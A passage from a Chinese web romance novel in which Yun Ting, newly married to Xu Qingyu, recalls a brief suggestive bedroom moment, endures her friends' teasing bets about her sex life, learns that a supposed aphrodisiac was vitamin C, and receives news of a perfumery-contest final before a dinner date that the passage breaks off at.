碗里的面已经凉了几分,温度全部转移到了云听的脑袋里,被热气蒸得发烫。 徐清聿说如果是云闻,他不会问云闻想吃什么。 换个意思是不是:因为是她,所以他会问她想吃什么? 这一句话又拨动了云听平日小心封存的情绪。 是不是意味着,在徐清聿的心里,她还是有一席之地的? 云听猛地摇了摇头,不敢继续想下去。 她向来不对感情抱有过多期待。妄自菲薄是她的本能,毕竟希望越大,失望也会越大。 她一鼓作气把面干完,完事又喝了几口汤。 抛开别的不谈,真的挺好吃的。 徐清聿瞧她一副欲言又止的模样,问:“你是不是有话要说?” 他的手指正搭在桌上,指节分明,左手无名指上的戒指反射着柔和的光。 云听想到了不可描述之事。 脑袋“嗡”的一下彻底关机。 虽然只是一枚素戒,但它并非普通的戒指,而是出自一位著名的大师之手,采用了极为珍贵的材质。 它的每一寸弧度都经过精心打磨,材质的独特与大师精湛的工艺,使得它看起来既简洁又不失高贵。 虽然戒指的外观没有过多的修饰,但正是这种不事张扬的设计,才能凸显它的稀有与独特。 徐清聿不知道是不是故意的,和她…时没有摘掉戒指,戒指的外圈触感冷冽,进入身体时,寒冷感如电流般穿透她的肌肤。 云听不适应地动了动。 徐清聿低下头,看到她的反应,唇角极小幅度一勾,问:“怎么?” 云听喉咙发紧:“有点…冷…” 徐清聿:“很快就不冷了。” 云听和他商量,被刺激地已经破音:“徐清聿…拿出来好吗?” 和大多数人偏重使用一只手不同,徐清聿无论是左手还是右手,灵敏度和力量都强得惊人。 此刻,他精准地找到了她的敏。感。点,并好意安慰云听:“不用担心戒指,它防水。” 云听:“……!!!!!” * 云听抓起桌上的水杯灌了一口,不行,不能再想了! 徐清聿洗澡的时候戒指有好好清洗吗? 她现在满脑子都是黄色的废料。没有什么能比把结婚戒指放进那处来得更令人羞耻了吧… 不行,必须转移注意力,必须甩开那个面红耳赤的场景。 云听脑子又开始升温,里面的水汩汩冒泡,且已经渗出。 于是,她没话找话问:“徐清聿…你不让姐姐吃夜宵是因为不健康,让我吃是因为……我身体健康吗?” 徐清聿:“。” 他靠在椅背上,眉心皱了一下,无奈又有些无语。 “云听。”徐清聿抿唇,似乎在极力忍耐:“你觉得我让你吃夜宵,是因为……你身体健康?” 云听耳根滚烫:“我……我随口问的……” 不如不问。 徐清聿唇角动了一下,但他没有再接话,只是伸手将云听吃剩的碗端起,径直走向厨房,留给她一个高大的背影。 云听意识陷入停顿。 这一刻,她的胃被填满了,而她的心,好像更空了一些。 她犹豫半秒,站起身,小跑着跟在他后方。 徐清聿弯腰将碗放进水槽,淡定地冲洗碗里的汤渍。 云听站在厨房门口:“徐清聿…我刚才不是那个意思,我来洗吧…” 徐清聿继续用清水冲刷着碗,语气平淡:“不用。” 云听咽了咽口水,觉得自己必须解释清楚,不然两人只会越来越尴尬:“我就是……就是随口问的,我没别的意思。” 这一次,徐清聿终于有了动作。他放下手中的碗,用毛巾擦了擦手,转过身,眼神拆解她的心思:“那你是什么意思?” 云听一下子语塞,垂下头不敢看他,“就是觉得……你对我太好了,突然有点不适应。” 徐清聿直起身,伸手将擦好的碗放回橱柜,淡声问:“云听,你很怕我?” “没有的…” “嗯。”徐清聿反思了下,“我说的话和我写的字,都很让你误会吗?” 云听:“……” 她知道徐清聿在说什么,他在翻旧账。 世界上大部分医生都有一个共性:字写得难看又难懂。 那些潦草的字成了另一种语言,除了医生自己,恐怕没有人能看得懂。 然而,云听万万没想到,像徐清聿方方面面出类拔萃的人,居然也会有一手如此丑陋的字。 小时候,她见过他的字,每一个字都端正得像是印刷出来的一样,一笔一画都规规矩矩。 但云听出国回来,有一天,她无意间看到沙发上有一本摊开的笔记本,她不小心瞄到了内容。 笔画曲折凌乱,像是草草写下的速记,形如蝇头小楷,却又完全不成形。 她下意识以为,这是云闻写的,毕竟云闻写字总是很随性,看心情。 当她心情愉快的时候,字迹像她的人一样潇洒利落,可当心情不好或者赶时间的时候,字就会变得无比简洁,每一笔都草草带过。 云闻还有一句至理名言:只要你写的够潦草,老师就看不到错别字;背书时只要你背的够快,老师就听不出你背错了哪。 碰巧这时云闻回来了。 云听拿着笔记本走到她面前,开口:“姐,两年多不见,你的字怎么越写越丑了?我都看不懂你在写什么,还有…你怎么丢三落四的,万一找不到怎么办?” 云闻捏了捏她的脸:“这才不是我写的。” 云听:“啊?” 又碰巧,徐清聿也回来了,他站在门口,黑发被风吹起,露出光洁的额头,他说:“是我写的。” 云听是想死的。 这是她和徐清 聿位为数不多的交流之一。 她刚才说什么来着? 她出息了,她骂徐清聿字丑加丢三落四? “对…对不起。” 徐清聿路过云听身边,从她手中抽出笔记本:“写字只是记录,有些时候,写得工整并不是最重要的。重要的是,能快速、有效地把事情表达出来。” 说完,就上楼,留下云闻和云听大眼瞪大眼。 * 面对徐清聿,云听除了道谢就是道歉,“对不起…当时是我眼拙…其实,你的字挺潇洒的…” 徐清聿睨她:“没必要说违心话。” 云听老实巴交:“潇洒…不算违心话…” 徐清聿笑了下,眼神变得柔和,高高在上的冰山,有了一丝接地气的人情味。 温暖的光线从他眼底溢出,慢慢融化掉云听心里的局促和紧张。 明显,是心情很好的笑容。 云听失神:“你…笑了…” 徐清聿听到她的话,微微挑眉,笑意更深了:“我笑了,怎么了?” 云听有些懵,徐清聿在这一刻,突然变得不那么遥远了,她说:“你笑起来……挺好看的。” 徐清聿借用云听的台词:“谢谢你。” 又补一句:“我才知道自己原来挺好看。” 云听到临睡前还是没有搞明白徐清聿为什么要笑。 一点征兆都没有,一点原因都没有。 总不能是嘲笑她傻吧? 她又开始新一轮的翻来覆去。 黑暗中,徐清聿幽问:“床不干净吗?” 云听停下动作:“不是的…” “那是我的睡衣不干净?” “也不是…” 徐清聿说:“云听,我给你煮面,不是因为你身体健康,而是我不想让你饿着。” 云听扯过被子,捂住自己的脸,这句话的冲击力好大! 好了,这下更睡不着了… 徐清聿疲惫摁了摁太阳穴,“云听,明天下班,我来接你。” “接我干、干什么?” “买衣服,你的衣柜是空的。” “哦…好。” 第22章 第二十二章 “闭眼干什么?”…… 次日清早。 云听牙刷蘸着牙膏在嘴里打着圈, 另一只手摸索拿起手机,解锁屏幕。 屏幕亮起。 【秘密小天地(99+)】 云听停止刷牙,脑袋还有些发昏, 她什么时候多了个群聊? 群名很陌生,但成员头像熟悉得不能再熟悉。点进去一看,是辛亦桐拉的群,群里除了她和自己, 还有云闻。 辛亦桐估计是夜里兴致来了,一时兴起拉了个小群。云闻也没闲着,虽然消息寥寥,但每一条回复都直戳重点。 云听继续刷牙,一边滑动屏幕往上翻消息。 群里未读的消息实在太多, 密密麻麻从昨晚一点十五分开始,辛亦桐的消息就像连珠炮一样刷屏,云闻也偶尔地冒出一两句回应。 云听心里有种不祥的预感,翻动聊天记录的手指停顿一秒,又继续往上滑。 挑重点看了一些。 辛亦桐:「云云, 你拆我的礼物了吗?怎么样,体验感如何?」 辛亦桐:「啊不是吧,才一点,你们新婚燕尔这么早就睡了吗?」 辛亦桐:「似乎发现了什么不得了的事…」 云闻:「你送的是什么?」 云闻:「听宝和聿哥这么早就睡, 肯定是没拆我的!!」 辛亦桐:「你送了什么?」 云闻:「壮。阳。药」 辛亦桐:「我送了套」 辛亦桐:「你送这玩意干啥呀!!我们云云身子骨这么弱!!」 云闻:「嘻嘻」 云听睁大眼睛,舌头不小心蹭到了牙刷上的牙膏泡沫, 咸咸的味道让她轻轻“啧”了一声。 辛亦桐:「徐清聿看起来那方面就很强。」 辛亦桐:「要不这样,闻闻,我们打个赌怎么样?」 云闻:「赌什么?」 辛亦桐:「赌徐清聿一夜几次!」 云闻:「赌注呢?」 辛亦桐:「这么刺激的赌,当然得拿点好东西压。这样, 输的人给赢的人买一只Hermès的包!」 云听险些一口牙膏泡沫呛进喉咙,她快速低头吐掉泡沫,又灌了一大口水,平复心情。 辛亦桐:「这种冷感型男人,要么是禁欲系大师,要么是……你懂的那种深藏不露!我压三次。」 云闻虽然知道徐清聿的情况,但也不会在其他人面前乱说话,可是她又想要Hermès包,本想说零次,但转念一想好歹有药效加持,没准能来个一两次: 她回:「聿哥是很克制的人,我赌一次。」 辛亦桐:「@云听」 云闻:「@云听」 云听脑门突突直跳,最后一条记录是凌晨三点十二分,辛亦桐发的:「明早继续!云云跑不了!」 她揉了揉太阳穴,觉得自己的血压正在慢慢升高。 她不想理会两人的疯言疯语,把手机丢到一旁。机械地按下洗面奶的泵头,挤了一坨白色的膏体到掌心,再涂抹到脸上。 凉意自脸颊铺散开来,触感清爽,与此同时,一股薄荷的气息悄然涌上鼻端。 云听的动作一滞,指尖在脸上停留了一瞬,随即下意识地在肌肤上来回推揉,将这膏体涂开。 然而,膏体不仅没有被吸收的迹象,反而越抹越黏。 这触感太不对劲了。 云听怔怔地抬起头,看着镜子里的自己,片刻后,她的目光落在洗手台上静静躺着的“洗面奶”。 蓝白相间的包装,拧开后散发着熟悉的薄荷香味…… 牙膏。 冰凉的膏体正源源不断地传递着令人头皮发麻的刺激感。 她把牙膏当作洗面奶了…… 云听吐出一口气,将水龙头拧开,双手捧起温水往脸上泼去。冰凉的水流冲刷着膏体,带走了大部分的滑腻感。 她把这一切归咎于睡眠时间不足,而不是自己的胡思乱想。 手机再次响起提示音,屏幕上显示出一条新消息: 辛亦桐:「云云,你醒了吗?」 草草的护肤后,云听回:「辛亦桐!你到底是什么怪物?!凌晨三点聊,早上七点又来?你还是人吗?!」 她刚发完这句话,辛亦桐消息又跳了出来: 辛亦桐:「啊啊啊啊云云你醒了,快说实话!!」 辛亦桐:「啊啊啊啊啊我的包包!!」 云听缴械投降,回:「一次。」 辛亦桐:「一次???????」 云闻:「一次!!!!!!!!」 云闻:「啊啊啊啊啊我的包包!!」 紧接着,云闻发了一个老年人专用的表情包——一个拿着拐杖、满脸欣慰的老年人,配字:我放心了。 云听无力地按了按眉心,把手机扣在洗手台上。 她本来是打定主意绝对不回应的,但如果不说,云闻和辛亦桐就会联手,两位游说大师从逼问到循循善诱,再到几近道德绑架,每一步都会让她无法招架。 她真的不想说!那样的话题,连自己都觉得羞于启齿,偏偏她们一个比一个咄咄逼人。 云闻还悄悄私聊了她一句:「啊啊啊,我买的药真的有用诶!!」 云听深吸一口气,把不堪回首的对话甩出脑海。 走出房间时,她闻到一阵淡淡的食物香气,顺着香味过去,餐桌上已经摆好了一份热腾腾的中式早餐。 粥是清香的皮蛋瘦肉粥,旁边还有几样精致的小菜,油条都切成了方便入口的段。 云听知道这是家里的阿姨准备的。每天早上,阿姨都会过来一趟,做饭,然后再悄无声息地离开。 下午阿姨又会再过来,打扫卫生,做晚饭。 徐清聿已经坐在餐桌旁,手里端着一只白瓷碗,用勺子搅动着粥。 他穿着一件黑色毛衣,材质柔软,贴合着他匀称的身 材,肩宽腰窄的视觉冲击尤为明显。 云听停下脚步,倚着门框,脸突然热了起来。 她狠狠地摇了摇头,试图把那些荒唐的对话从脑子里赶出去,可是辛亦桐八卦又兴奋的表情像幽灵一样挥之不去。 徐清聿头也不回地开口:“站在那里干什么?过来吃饭。” 云听有些尴尬,迈着慢吞吞的步子走过去:“阿姨做了什么?” “粥和小菜。”徐清聿放下勺子,抬头看她,语气平平,“快点吃,凉了就不好了。” 昨晚令人脸红心跳的片段又又又涌入脑海。 云听忍不住瞥了徐清聿一眼。 他喝粥时,喉结会随着动作微微上下滑动,很饱满,很大。 黑色毛衣显得他的肤色更加冷白,整个人带着一股沉静又强大的气场。 云听默默拉开椅子,在他对面坐下。 徐清聿察觉到她的异样,问:“怎么了?” “没、没什么……” … 吃完早饭,徐清聿送云听上班。 车内的气氛很安静,徐清聿不习惯在早上听广播和音乐,而云听也是喜静的人,自然没有找话题和他聊天。 她握紧手机,屏幕上显示她与云闻的聊天界面。 云听:「那些药到底是怎么回事?」 消息一经发出,没过几秒就收到回复: 云闻:「一个男同事给我的,说效果很好,还介绍我认识了一个老中医,神得很」 看到这句话,云听眉头皱了皱。 壮阳药?老中医?神得很?这几个词连在一起,明显不靠谱。 她打字问道: 「姐,瓶身上的日文你看了吗?翻译过来是什么意思知道吗?」 云闻:「还没翻译,懒得看,反正那个同事说是好东西就对了」 云听扶额:「翻译成中文是一天十二次,一次两小时,姐,你说靠谱吗?」 云闻:「啊?!什么意思?那岂不是假的?!」 云听:「对,假的。跟你想的完全不是一回事。而且这些东西来源不明……」 对话框沉默了几秒,云闻的下一条消息几乎是“吼”出来的: 云闻:「聿哥他吃了吗?吃了吗?!吃了吗?!吃了吗?!」 云听回复:「他没吃。」 云闻:「真的没吃?不然我就是罪人…」 云听:「我能骗你吗?徐清聿没有问题,根本不需要这种东西!」 这次,云闻的消息回得很慢,大概是在消化事实。云听等了好一会儿,等到一条新的: 云闻:「聿哥他……没有问题?」 云听:「对,他没有你以为的那些问题」 云闻再一次失语,久到云听以为她不会再回消息,才弹出一条长长的语音消息。 云听刚转成文字,耳边蓦地响起徐清聿低沉的声音:“会晕车,别一直看手机。” 她顿时像被抓包的小孩一样,听话地把手机锁屏:“哦……好。” 坐在当事人身边蛐蛐他,的确有点不太道德。 * 十分钟后。 徐清聿的车停在公司楼下,发动机的轰鸣声减弱。 云听低头解开安全带,手指刚碰到车门把手,正准备下车,听到一阵细微的摩擦声。 抬头时,徐清聿已经靠了过来。 云听愣住了,整个人僵在座位上,手还停留在半空中,忘了下一步该做什么。 徐清聿为什么要靠过来? 云听的大脑像被按下暂停键,只剩下加速的心跳声在耳边回荡。 她能清晰地感受到徐清聿的呼吸越来越近,薄薄的凉意与他身上的气息交织在一起,将她周围的空气一点点侵占。 两人之间的距离只剩三四公分,近到她能数清他眼睫毛的根数。 云听屏住呼吸,视线不由自主地下移,落在他抿得很紧的薄唇上。 徐清聿…不会是要吻她吧? 云听紧张得不知所措,干脆闭上了眼睛。 她等着。 等着那个她自己都不敢承认的期待——或许是一个吻,或许是某种暧昧的靠近。 然而,片刻过去,预想中的吻并没有落下。 徐清聿问:“闭眼干什么?” 云听睫毛颤抖,睁开眼。 强行镇定下来后,随口胡扯掩饰自己的紧张:“眼睛有点干涩,闭一下缓缓。” 徐清聿抬起右手,在她面前晃了一下。 云听才看到,他的指尖夹着一片枯黄的树叶,边缘还沾了点灰尘,看起来是出门时不小心粘上去的。 她如释重负,忙不迭地说了句:“谢谢。” 还没等云听放松下来,徐清聿侧过头,眼神锐利得像是要将她整个人看穿:“不过……” 云听的心又猛地提了起来:“什、什么?” “你脸上为什么有牙膏的味道?” “……” 牙膏味?徐清聿居然闻到了? “没、没有吧。”云听欲盖弥彰抬手摸了摸脸,发现手指上也有明显的薄荷香,“啊,来不及了,我走了,再见…” 徐清聿眼疾手快抓住她的手腕,再次靠近,唇落在云听的左半边脸颊。 两秒后,他得出结论:“嗯,牙膏。” “……” * 另一边,云闻踏进公司,手里的包随手甩在沙发上。 她扫了一圈周围,锁定角落里正在打电话的连庭,几天前送了她几瓶“壮阳药”的始作俑者。 连庭一米八七的个子,穿着修身的白色衬衫和浅灰色西裤,身形挺拔而俊朗,此刻正嬉皮笑脸地靠在桌边,嘴里不知道在调侃谁,看起来悠闲得不得了。 云闻如果没记错的话,他上午有一组青春洋溢的校园拍摄。 她二话不说,直接上走前揪住了连庭的耳朵。 “哎哟!”连庭猝不及防,被这力道弄得连手机都掉了,他捂住耳朵惨叫一声:“疼疼疼!Chloe !你干嘛啊!” “干嘛?”云闻冷哼一声,手上的力道又重了几分,毫不留情地将他往外拖,“我今天非让你明白明白,什么叫作死。” “饶了我吧!”连庭疼得弓起腰,虽然他个头足足比云闻高了近二十厘米,却完全不敢反抗。 他一边用另一只手护住自己的耳朵,一边拼命求饶:“Chloe,有话好好说,别动手啊!这是公众场合,你再这样我可没脸了!” “你还有脸?”云听冷笑,“再多废话,我把你的脸打肿!” 连庭立刻闭嘴,乖乖被拖出后台。 其他模特和工作人员看着这一幕,纷纷装作没看到。连庭向来皮得很,敢招惹云闻,挨顿教训也没人替他说话。 云听将他拽进一个无人使用的小储物间。 房间没有监控,也没有窗户,只有一盏昏黄的灯泡吊在天花板上,昏暗得像审讯室。 连庭一进门就开始揉耳朵,痛得龇牙咧嘴,表情委屈得不行:“云云,我到底哪儿惹你了,你非得揪我耳朵?” 云闻双手抱胸,冷冷地看着他:“你上次给我的药,根本就不是什么壮。阳。药吧?” 连庭一愣,一副理直气壮的表情:“当然不是!我干嘛要给我情敌这种东西?我蠢吗?” “你最好解释清楚,那药到底是什么,要是聿哥出事了我不会放过你。” “不会出事的,就是各种口味的维C片而已。” 云闻的冷脸:“你为什么骗我?” 连庭不答反问:“云云,你不是和他结婚了吗?还用得着这种东西?” 云闻气笑了:“连庭,你是不是觉得自己有资格来质疑我的婚姻?” 连庭咽了咽口水,往后退了一步:“可是……为什么是他?” 云闻问:“跟你有关系吗?” 连庭深吸一口气,语气里藏着小男孩般的委屈:“你为什么要结婚?” 云闻正准备开口,结婚的不是她, 连庭弱弱地补充了一句:“玉哥,名字好娘。而且,他还要吃药……云云,你不如和他离婚吧,我比他厉害。” “……”云闻彻底被气笑了,她伸手揪住他的腰,用力捏了一下,咬牙切齿地问:“连庭,你是不是欠揍 ?什么叫他‘还要吃药’?” 连庭求饶,磕磕巴巴地说:“我……我是为你好啊!他还要吃药,说明身体不好。云云,我不需要药,我可以证明——” “你能证明个屁!”云闻又捏了他一把,“你这么有自信?你毛都还没长齐吧?” 连庭被她气势逼得退了半步,但很快又抬起头,小声嘀咕了一句:“云云,你不是看到过吗……” “什么?”云闻一时没反应过来。 连庭顿了顿,脸上的表情带着几分得意,又有些羞涩:“上次你不是误闯更衣室了吗?当时我不是没穿……” 云闻有一次无意闯进了更衣室,当时连庭需要拍摄一组大尺度照片,因为服装限制,他当时正在更衣室换裤子。 看到她进来,连庭毫不避讳,还戏谑问她这套衣服好看吗? 想到这,云闻警告道:“连庭,你……闭嘴!不要胡说八道!” 连庭见她的脸红得像熟透的苹果,眼神里的笑意更浓。 他伸手握住云闻的手,“重振雄风”:“云云,我不介意当小三。” “滚!”云闻甩开他的手,气得差点一巴掌拍到他头上。 连庭不死心,凑近,“我可以证明,我比他厉害。” 云闻嗤笑:“你?一没他高,二没他帅。” 她停顿了一下,嘴角挂起一抹嘲讽的弧度,“我凭什么喜欢你?” 云闻说的话不假,像徐清聿这样的谪仙,世界上找不出第二个,如果非要找出第二个,就是他弟弟徐淮风。 连庭很幼稚,他才十八岁,还是个不折不扣的大男孩。 长得确实不错,可她不喜欢和同龄人谈恋爱,更别说比她还小的。 她喜欢成熟的,可靠的,像徐清聿这样,虽然有距离感,但长得帅。 徐淮风的话,则介于两者之间。他比连庭成熟,却又比徐清聿更容易接近。 所以和连庭谈恋爱,不如和徐淮风谈。 云闻转身欲离开,刚迈出一步,身后突然传来连庭压抑已久的声音,像是一头被逼到绝境的小兽的咆哮,不甘又不服大吼大叫:“我还能长!” “还能长?”云闻停下脚步。 “我才十八岁!当然还能长!我……我会长到一米九,我哥一米九二。” 云闻无语,觉得今天的这一场闹剧简直匪夷所思。 她定了定神,用冷静的语气反问:“连庭,就算你能长到一米九……你觉得你能比得上聿哥吗?” 连庭被人点中痛处,问:“为什么不能?” “因为聿哥不是你能比的。无论身高、能力还是其他,你能长得再高,但你不会变成他。” “可是我喜欢你啊……” 云闻拒绝:“连庭,我不喜欢比我小的,况且你比我小了六岁,我们没有结果。” * “咚咚咚。” “进来。” 周之寒捧着一叠资料,推门而入。 一段日子不见,他苍老了不少,脸颊也消瘦了一圈,面部表情有一种“活着也行,死了也行”的疲惫感,“小云,我刚从星河市回来,情况还是不太乐观。” 老太太身为非物质文化遗产的传承人,一直固守和坚持传统,根本不愿意与现代化的商业合作,许多项目都在她那里遇到过难以突破的瓶颈。 “还没松口?”云听问。 周之寒坐下,叹了口气:“她依然坚持传统,不愿在产品上做出任何妥协。而且我尝试过几种方式沟通,结果依然没有效果。” “小云,我知道你擅长与各类人打交道,特别是这种老一辈的人,你的方式更能打动他们。也许……你能亲自去一趟。” 云听听后默了一会儿,周之寒说得有道理,自己确实比他更擅长接触这一类固执的传统人物。 进公司时,她就从一位前辈那接手了这个项目,一直没有真正亲自去过星河市,而是通过电话和周之寒的沟通推进。 现在看来,这个问题已远不止是沟通的问题了,更是对文化传承与现代化之间的碰撞,双方的立场和态度差异越来越大,单纯的说服和妥协可能并不够。 云听道:“我明白了。我会安排好时间,亲自去一趟,周老师,注意身体。” “小云,我和你一起去。” 云听想了下:“嗯,好。” 第23章 第二十三章 第一次约会 周之寒离开办公室, 云听便收到了一封邮件。 来自Global Perfume Masters(世界调香大师赛)官方账号: Dear Ms. Celia, Greetings! Congratulations on your work, “The Fragrance of the Future, ” for its outstanding performance in the blind review stage, successfully making it to the final round of the 107th World Perfumery Masters. Thank you for injecting new inspiration and creativity into the art of perfumery… (尊敬的Celia女士,您好! 恭喜您的作品‘未来之香’在盲审阶段中表现优异,成功入围第107届世界调香大师赛决赛圈。感谢您为调香艺术注入了新的灵感与创意……) 云听的手悬在鼠标上, 视线一行一行阅过邮件的内容。 “未来之香?”她低声呢喃,大脑迅速翻找起与这个名字相关的记忆。 不到半秒,她就想起那瓶被自己判定为失败的香水。 怎么可能? 半年前,云听为了突破自己的风格限制,报名参加了世界调香师大赛, 大赛的主题是“未来之香”。 她翻阅无数关于未来科技、环境与人类情感交织的资料,试图将复杂的概念融入香水之中。 可惜,最终的作品却没能令她满意。 “层次太混乱了,主题没有抓住重点。”她记得当时这样评价自己的作品,随后将那瓶香水封存起来, 再也没碰过。 可邮件上盲审、入围、决赛圈……每一个词都在宣告她已经跨入行业的巅峰赛事,而这一切发生在她毫不知情的情况下。 云听满腔疑惑,忽然她想到了什么,迅速拿起手机拨通了Ethan的号码。 这件事, 只有她和师傅知道。 “师父,您是不是拿了我那瓶‘Elysian Tomorrow(极乐明日)’去参加比赛了?” 电话那头是熟悉亲切的笑声:“被你发现了啊, 你收到邮件了吧?恭喜你,小云。” “您……”云听词穷,“您怎么能拿那瓶香水去参赛?那根本不行啊!” Ethan从始至终坚定自己的想法:“小云,那瓶香水确实有些瑕疵, 但它的灵感和创意是独一无二的。每一个评审都会从中感受到你对未来的理解。这三个月下来,它不仅通过了盲审,还进入了决赛圈,这已经证明了它的价值。” “决赛圈……”云听怔怔地重复,脑子一片空白。 与她同时进入决赛圈的两位新星调香师,一位是法国的奥利维耶兰伯特,另一位是德国的莉莎冯斯图尔。 有人可能会奇怪,这样一场举世瞩目的国际大赛,为什么进决赛的三位都是新人? 在调香界,有一个流传已久的传统:当代的知名调香师——那些已经在国际舞台上熠熠生辉的“老将”们,通常不会亲自参与某些顶级比赛,而是将这些机会留给新锐调香师。 这并非源于他们的退让,而是调香艺术所传承的一种精神: 为新人提供舞台,让未来之光闪耀。 这不仅是调香界对于后辈的鼓励,更是对调香艺术的热爱和尊重。知名调香师通过自己的影响力,提携有潜力却尚未被世界认识的新人,让他们在国际舞台上展现才华。 这一规则被应用在许多国际赛事中,尤其是 像世界调香大师赛此类的比赛:盲审环节中,作品不会显示创作者的名字或资历,只以气味与创意为评审标准,让每一位参赛者都能平等地被评价。 所以真正进入决赛的,是那些才华横溢的“潜力之星”。 正是因为这种传承精神,调香界得以不断焕发新的活力,老将们延续了调香艺术的辉煌,新人们则带来了创意与变革。 “小云。”Ethan道,“你的视野需要更宽广些。调香的过程没有绝对的成功与失败,只有不断地尝试与突破。‘未来之香’是一扇门,它为你打开了更大的舞台。接受它,好好准备决赛吧。” “嗯好的,谢谢师傅。” 云听挂断电话,起身整理手头的项目。 新的香水、非遗沟通、大赛决赛…… 她揉了揉太阳穴,疲惫感涌上心头。 Ethan又发了一条语音消息。 云听点开,Ethan的声音变得严肃:“小云,你现在先把手头的事情放一下,过来我办公室一趟。决赛圈的另外两位新人资料都已经出来了,你需要先了解一下。” 云听起身,带上笔记本电脑匆匆赶往师傅的办公室。 “咚咚咚。” “进。” Ethan正坐在桌前翻阅资料,抬头看到云听进来后,微微一笑,指了指对面的椅子:“坐吧。” 云听在他对面坐下,见他桌上放着两份打印好的资料,上面赫然是两张陌生面孔的照片。 “这是另外两位进入决赛圈的新星,”Ethan把资料推到云听面前,“虽然你们彼此还不认识,但接下来,他们会是你的竞争对手,也是你学习的对象。” 第一页上是一个年轻男子的照片,他穿着一件深色高领毛衣,五官俊朗,目光自信。 旁边的文字标注着名字和基本信息: 奥利维耶兰伯特 国籍:法国 年龄:27岁 风格:现代主义与自然主义的结合 参赛作品:《L‘Essence de l’Avenir》(未来本质) “奥利维耶兰伯特?”云听低声念出名字,“这个名字好像在哪里听过。” “他是近年来法国调香界的新锐代表,去年那款《森林的倒影》让他一举成名。”Ethan解释,“他的调香风格极具实验性,这次的作品主打未来科技与自然的对话,在业内评价很高。” 云听默默记下他的名字,翻到第二页,这次是一位女性的资料。 莉莎冯斯图尔 国籍:德国 年龄:26岁 风格:未来主义与情感表达的交融 参赛作品:《Futurus Aether》(未来气息) 云听对她有所耳闻。 她的背景很扎实,从德国一家知名香料公司出身,后来独立创作,短短三年内就多次获得欧洲地区大奖。 她擅长通过香气传递情感,这次的作品以科技与人性的交织为主题,概念很新颖。 “这次的竞争确实不轻松。”云听粗略了解后,抬起头,认真地说道,“他们看起来都很强。” “确实强,”Ethan点头,“但你也不要妄自菲薄。你的‘极乐明日’能进入决赛圈,就已经证明了它的潜力。” 他停顿了一下,又补充道:“小云,既然已经站在了这个舞台上,就不要给自己设限。专注于你的作品,发挥出最好的实力,其他的交给时间。” “我明白了,我会尽力的。” Ethan满意地笑了笑,将手边的文件递给她:“把这些资料带回去看看,也算是了解对手的一个开端。” 云听从Ethan办公室走出来,心中还在琢磨着接下来的计划与调整。 邮件上详细写了决赛流程——时间是1月24日,即两周后。决赛要求每位选手提交一款全新的作品:希望之香,即用香气表达勇气、未来和无限可能。 说到希望,她第一时间想到的是:晨曦下新生的绿芽、暴风雨后天空的彩虹、灯火阑珊处人们脸上的微笑。 但不仅于此。 希望是什么?是柔软的温暖,还是顽强的力量? “希望之香……”云听自言自语,这个要求让她顿感棘手。 香水的调配往往需要无数次的尝试、调整、反复验证,她无法想象如何在有限的时间里兼顾创意和质量。 头疼。 没有思绪。 云听刚走到走廊的拐角,就听到几声轻快的问候声,侧目望去,几位同事正站在茶水间笑着向她走来。 “小云,恭喜啊!” “恭喜恭喜,双喜临门!” 同为调香师,同事自然也会关注国际国内的赛事,所以比赛结果一出来,云听入选的消息就传开了。 但她不明白,她们为什么会说“双喜临门”? 她明明没有公开结婚的消息? “小云,恭喜你,结婚快乐!”一位平时开朗的同事笑盈盈地送上祝福。 “恭喜恭喜!”其他人纷纷附和。 苏黎走过来,亲昵地挽住她的手:“小云姐,这个戒指真好看,简单又大气,特别适合您。” 云听才意识到是自己无名指上的戒指成了大家关注的焦点。 不出所料,自己结婚的事也已经在公司里传开了。 她咳了一声,有些不好意思,“其实这件事我并不想张扬,所以就没特别说。” 她的声音里带着一丝柔和的歉意,同时又希望大家理解自己的低调。她望向围过来的同事们,真诚说道:“改天我请你们吃饭,感谢大家的祝福。” 同事们听了,纷纷表示理解,也没有继续追问,“原来是这样啊,祝福你,真的是双喜临门!” “没关系,忙的时候我们也不打扰你。什么时候有空,一定要请我们吃饭啊!” “对对,咱们得好好庆祝庆祝!” 云听扬起笑容,“一定。” 说完她转身走去茶水间,泡一杯咖啡提提神。 “小云,恭喜呀!”正在泡咖啡的小林朝她打招呼。 “谢谢,今天的咖啡豆又换了吧?”云听微笑回应,嗅到了对方杯里散发出的淡淡果香。 “没错,哥伦比亚的,推荐你试试!”小林扬了扬手中的咖啡杯。 “嗯,我试试。” 不远处,两人正在讨论一个新项目,云听隐约听到几句轻松的玩笑:“老张,这个预算你再压压吧,不然我年底奖金都没了。” “你奖金没了,我还得补贴你吗?”老张一边摆弄数据一边调侃。 云听笑了笑。 * 夜色弥漫,城市的灯光投射在车窗玻璃上,光线在云听的脸颊上晃动。 “徐清聿,其实没必要去买,我可以回家把我的衣服都拿过来。” 云听对穿衣没有太多讲究,衣柜里大部分都是简单的基本款。 她不会特意去挑选流行的款式,也不追求配色的精致协调。衣服对她来说不过是为了遮体保暖,舒适就行。 即使出门逛街或聚会,她也很少花时间精心打扮,随手从衣柜里抽出一件,随意套上就出门了。 不过要是辛亦桐在这,估计会吐槽一句她在炫耀。 因为鲜少有人能将过时普通的衣服穿成高定。 听到她的话,徐清聿抬起手腕,低调的深色表盘在他腕间一转,他道:“直接买,先去吃饭。” 云听:“好,好吧。” 徐清聿带她来到一处西餐厅,餐厅隐匿在繁华街角的一处欧式建筑内。 灯光从嵌入大理石外墙的细小镂空处倾泻而下,将周围的一切都染上了几分高贵的光泽。 云听站在门口,目光停留在金色的招牌上,心中竟生出一丝不可思议。 L‘etoile,云听曾听同 事提起这家餐厅,情侣的约会胜地。 这间餐厅仅对固定的会员开放,所谓的“会员”,并不是简单地交一笔高昂的年费就能获得的资格。 入会需要现有会员的推荐,且每年仅开放极少的名额。 据传,即便是企业巨头或演艺明星,也需要经过餐厅管理层严格的审查和筛选,确认其品位和声望足够匹配,才能被允许踏入这里。 即使你已经成为会员,想要订桌也绝非易事。每晚仅提供八张餐桌,餐厅会根据客户的消费记录、声望以及推荐人的级别,决定谁的预约优先。 “你确定是这里?”云听忍不住问。 徐清聿侧过头:“怎么?” 云听实话实说:“你……你不像是会来这种地方的人。” 徐清聿言简意赅:“朋友推荐的。” 当真正进入餐厅内部,云听才知道什么叫震撼。 餐厅的整体设计以深色为基调,极尽低调的奢华。脚下是抛光的黑色大理石地面,每一步踏下,都会发出轻微的回响。四周的墙壁上挂着几幅抽象的艺术画,画作被温暖的灯光点亮,静谧又有格调。 中央吊着一盏巨大的水晶灯,光线折射成无数细碎的亮点,将整个空间点缀得如梦如幻。 服务生带领两人往里走。 